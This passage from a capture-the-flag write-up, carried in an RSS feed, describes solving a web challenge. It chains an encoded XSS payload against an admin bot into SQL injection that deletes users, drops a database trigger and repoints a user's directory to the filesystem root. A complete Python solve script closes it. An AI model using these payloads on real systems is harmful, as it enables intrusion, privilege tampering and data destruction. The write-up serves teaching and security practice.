http://localhost:3000/checker?url=http://{HOST_THAT_TAKES_10_SECONDS_TO_RESPOND}/%26lt%3Bimg%20src%3Dx%20onerror%3D%22eval(atob(%27ICBjb25zdCBwYXlsb2FkID0geyJsb2ciOiAiKTtVUERBVEUgdXNlcnMgU0VUIHJvbGU9XCJ1c2VyXCI7U0VMRUNUIFwiMVwifHwnIn07DQogICAgZmV0Y2goIi9kZWJ1Zy9jcmVhdGVfbG9nIiwgew0KICAgICAgICBtZXRob2Q6ICJQT1NUIiwNCiAgICAgICAgaGVhZGVyczogew0KICAgICAgICAgICAgIkNvbnRlbnQtVHlwZSI6ICJhcHBsaWNhdGlvbi9qc29uIg0KICAgICAgICB9LA0KICAgICAgICBib2R5OiBKU09OLnN0cmluZ2lmeShwYXlsb2FkKSwNCiAgICAgICAgY3JlZGVudGlhbHM6ICJpbmNsdWRlIg0KICAgIH0p%27))%22%0A%2F%26gt%3B
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;URL Decoded payload&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;amp;lt;img src=x onerror=&quot;eval(atob(&apos;ICBjb25zdCBwYXlsb2FkID0geyJsb2ciOiAiKTtVUERBVEUgdXNlcnMgU0VUIHJvbGU9XCJ1c2VyXCI7U0VMRUNUIFwiMVwifHwnIn07DQogICAgZmV0Y2goIi9kZWJ1Zy9jcmVhdGVfbG9nIiwgew0KICAgICAgICBtZXRob2Q6ICJQT1NUIiwNCiAgICAgICAgaGVhZGVyczogew0KICAgICAgICAgICAgIkNvbnRlbnQtVHlwZSI6ICJhcHBsaWNhdGlvbi9qc29uIg0KICAgICAgICB9LA0KICAgICAgICBib2R5OiBKU09OLnN0cmluZ2lmeShwYXlsb2FkKSwNCiAgICAgICAgY3JlZGVudGlhbHM6ICJpbmNsdWRlIg0KICAgIH0p&apos;))&quot;
/&amp;amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Base64 payload&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  const payload = {&quot;log&quot;: &quot;);UPDATE users SET role=\&quot;user\&quot;;SELECT \&quot;1\&quot;||&apos;&quot;};
    fetch(&quot;/debug/create_log&quot;, {
        method: &quot;POST&quot;,
        headers: {
            &quot;Content-Type&quot;: &quot;application/json&quot;
        },
        body: JSON.stringify(payload),
        credentials: &quot;include&quot;
    })
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So, sending the bot here will make it set everyone&apos;s &lt;code&gt;role&lt;/code&gt; to &lt;code&gt;user&lt;/code&gt; and we will be able to see the flag at the &lt;code&gt;/scrap&lt;/code&gt; route.&lt;/p&gt;
&lt;h2&gt;Flag 2&lt;/h2&gt;
&lt;p&gt;Alright, so flag 2 is on the server, how can we view it? We figured it was something to do with &lt;code&gt;files.js&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// files.js

router.get(&apos;/:scrapname/:subpath(*)?&apos;, requireAuth, (req, res) =&amp;gt; {
  const rootUserDir = req.session.user.scrap_dir;
  const scrapName   = req.params.scrapname;
  const subpath     = req.params.subpath || &apos;&apos;;
  
  const allScraps = listDirectory(rootUserDir);
  if (!allScraps.some(entry =&amp;gt; entry.name === scrapName)) {
    req.session.flash = { type: &apos;error&apos;, message: &apos;This scrap does not exists.&apos; };
    return res.redirect(&apos;/files&apos;);
  }
 ...

function listDirectory(directory, scrapname = &quot;&quot;) {
  let entries = [];
  try {
    if (fs.existsSync(directory)) {
      entries = fs.readdirSync(directory).map(name =&amp;gt; ({
        name,
        path: scrapname == &quot;&quot; ? path.join(directory, name).split(&quot;/&quot;).pop() : scrapname+&quot;/&quot;+path.join(directory, name).split(&quot;/&quot;).pop()
      }));
    }
  } catch {}
  return entries;
}
...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I assumed we could just change &lt;code&gt;scrap_dir&lt;/code&gt; to &lt;code&gt;/&lt;/code&gt; and we could get the flag in the root directory. It turned out to be a lot harder than I thought because there is a a trigger set in the database schema that stops us from changing &lt;code&gt;scrap_dir&lt;/code&gt;. There is a simple solution though which is to just drop it. Also, if you remember, &lt;code&gt;/&lt;/code&gt; is not allowed in the request to &lt;code&gt;/debug/create_log&lt;/code&gt;, but we did not remember that piece of info. So, before we rediscovered that quirk, our idea was to send a bunch of requests to setup for changing the &lt;code&gt;scrap_dir&lt;/code&gt; to &lt;code&gt;/&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;This is how it was laid out:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Delete every other user except for the bot from the database because &lt;code&gt;scrap_dir&lt;/code&gt; must be unique and no one else must have it (You can see this in the schema in db.js), otherwise it could interfere with our solution.&lt;/li&gt;
&lt;li&gt;Re-register our user&lt;/li&gt;
&lt;li&gt;Go to the &lt;code&gt;/me&lt;/code&gt; endpoint to get our id to change our specific account&apos;s &lt;code&gt;scrap_dir&lt;/code&gt; with the &lt;code&gt;WHERE id=&lt;/code&gt; thing&lt;/li&gt;
&lt;li&gt;Set our role to &lt;code&gt;&quot;/&quot;&lt;/code&gt; i.e. &lt;code&gt;CHAR(47)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Drop the trigger &lt;code&gt;users_immutable_dirs&lt;/code&gt; that is preventing us from changing &lt;code&gt;scrap_dir&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;set &lt;code&gt;scrap_dir=role&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;change &lt;code&gt;role&lt;/code&gt; back to &lt;code&gt;&quot;user&quot;&lt;/code&gt; so that we can see the flag at &lt;code&gt;/files&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Once we remembered that &lt;code&gt;/&lt;/code&gt; was blocked, we knew needed to use &lt;code&gt;CHAR(47)&lt;/code&gt; which wouldn&apos;t get filtered, but we didn&apos;t have a lot of characters to spare. Thus, we spent a bunch of time golfing down the query. The big breakthrough was from &lt;code&gt;SteakEnthusiast&lt;/code&gt; who figured out that we didn&apos;t really need the &lt;code&gt;&quot;1&quot;||&lt;/code&gt; in &lt;code&gt;SELECT &quot;1&quot;||&apos;&lt;/code&gt; and now we have a bunch more characters to our name, enough for &lt;code&gt;CHAR(47)&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;So we could turn a query like this (50 chars):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;);UPDATE users SET role=&quot;/&quot; WHERE id=6;SELECT 1||&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;into this (50 chars):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;);UPDATE users SET role=CHAR(47)WHERE id=6;SELECT&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Also notice how we got rid of the spaces next to &lt;code&gt;WHERE&lt;/code&gt; and &lt;code&gt;SELECT&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Here are the queries sent in order without all the extra stuff, I will show you the solve script at the end.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;DELETE FROM users WHERE id!=1 -- delete every user except for bot
UPDATE users SET role=CHAR(47)WHERE id={singe_digit_id} -- make our role /
DROP TRIGGER users_immutable_dirs -- make scrap_dir changeable
UPDATE users SET scrap_dir=role -- set scrap_dir=&quot;/&quot;
UPDATE users SET role=&quot;user&quot;; -- allow ourselves to access /files
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;With all of this, we are able to go to &lt;code&gt;/files&lt;/code&gt; and view flag 2.&lt;/p&gt;
&lt;p&gt;Here is the cursed solve script which &lt;code&gt;Ibrahim&lt;/code&gt; wrote most of:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import requests
import json, base64

base_url = &quot;http://&amp;lt;host&amp;gt;:4000&quot; # I replaced the host here
session = requests.Session()

def register_user(username, password):
    data = {
        &quot;username&quot;: username,
        &quot;password&quot;: password
    }
    register_resp = session.post(f&quot;{base_url}/register&quot;, data=data)
    login_resp = session.post(f&quot;{base_url}/login&quot;, data=data)

def run_sql_query(sql_query):
    # assert len(sql_query) &amp;lt;= 50
    assert &quot;-&quot; not in sql_query
    assert &quot;/&quot; not in sql_query
  
    js_code = f&quot;&quot;&quot;
    let payload = {{&quot;log&quot;: &quot;{sql_query}&quot;}};

    fetch(&quot;/debug/create_log&quot;, {{
        method: &quot;POST&quot;,
        headers: {{
            &quot;Content-Type&quot;: &quot;application/json&quot;
        }},
        body: JSON.stringify(payload),
        credentials: &quot;include&quot;
    }})
    &quot;&quot;&quot;

    url = f&quot;http://localhost:3000/checker?url=http://&amp;lt;HOST_THAT_TAKES_10_SECONDS_TO_RESPOND&amp;gt;/%26lt%3Bimg%20src%3Dx%20onerror%3D%22eval(atob(%27{(base64.urlsafe_b64encode(js_code.encode(&apos;utf-8&apos;)).decode(&apos;utf-8&apos;)).replace(&apos;=&apos;, &apos;%3D&apos;)}%27))%22%0A%2F%26gt%3B&quot;

    print(f&quot;URL: {url}&quot;)  

    resp = session.post(f&quot;{base_url}/checker/visit&quot;, json={&quot;url&quot;: url})

    # print(sql_query[2:-11])
    # resp = session.post(f&quot;{base_url}/run_sql&quot;, json={&quot;sql&quot;: sql_query[2:-11]})

# Register and Login
register_user(&quot;bob123&quot;, &quot;bob123&quot;)

# Delete all users except bot user
run_sql_query(&apos;);DELETE FROM users WHERE id!=1;SELECT 1||\&apos;&apos;)

# Register and Login again
register_user(&quot;bob123&quot;, &quot;bob123&quot;)

resp = session.get(f&quot;{base_url}/me&quot;).json()

print(resp[&quot;id&quot;])
id = resp[&quot;id&quot;]

# # Update our role to &quot;~&quot;
# run_sql_query(f&apos;);UPDATE users SET role=\\&quot;~\\&quot; WHERE id={id};SELECT 1||\&apos;&apos;)

# # DROP trigger
# run_sql_query(f&apos;);DROP TRIGGER users_immutable_dirs;SELECT 1||\&apos;&apos;)

# # Update scrap_dir
# run_sql_query(&apos;);UPDATE users SET scrap_dir=\\&quot;\\&quot;||role;SELECT 1||\&apos;&apos;)

# # Set role to &quot;user&quot;
# run_sql_query(&apos;);UPDATE users SET role=\\&quot;user\\&quot;;SELECT 1||\&apos;&apos;)

# Update our role to &quot;/&quot;
run_sql_query(f&apos;);UPDATE users SET role=CHAR(47)WHERE id={id};SELECT\&apos;&apos;)

# DROP trigger
run_sql_query(f&apos;);DROP TRIGGER users_immutable_dirs;SELECT 1||\&apos;&apos;)

# Update scrap_dir
run_sql_query(&apos;);UPDATE users SET scrap_dir=role;SELECT 1||\&apos;&apos;)

# Set role to &quot;user&quot;
run_sql_query(&apos;);UPDATE users SET role=\\&quot;user\\&quot;;SELECT 1||\&apos;&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And when we login as &lt;code&gt;bob123&lt;/code&gt;, the flag is available to us.&lt;/p&gt;
&lt;h1&gt;Afterthoughts fr fr&lt;/h1&gt;
&lt;p&gt;Looking back, we probably didn&apos;t need to change the &lt;code&gt;role&lt;/code&gt; to be &lt;code&gt;CHAR(47)&lt;/code&gt;, after the breakthrough with character saving, we could&apos;ve just set &lt;code&gt;scrap_dir&lt;/code&gt; to &lt;code&gt;CHAR(47)&lt;/code&gt; directly. Also, we could&apos;ve made this faster once we set our role to &lt;code&gt;user&lt;/code&gt; because we can just POST to &lt;code&gt;/debug/create_log/&lt;/code&gt; ourselves instead of having to XSS the bot which takes about 10 seconds each query.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;DELETE FROM users WHERE id!=1 -- delete every user except for bot
UPDATE users SET role=&quot;user&quot;WHERE id={id} -- make our role user
DROP TRIGGER users_immutable_dirs -- make scrap_dir changeable
UPDATE users SET scrap_dir=CHAR(47) -- set scrap_dir=&quot;/&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Anyways, thanks for reading! I had a really fun time doing this challenge with everyone.&lt;/p&gt;
</content:encoded></item></channel></rss>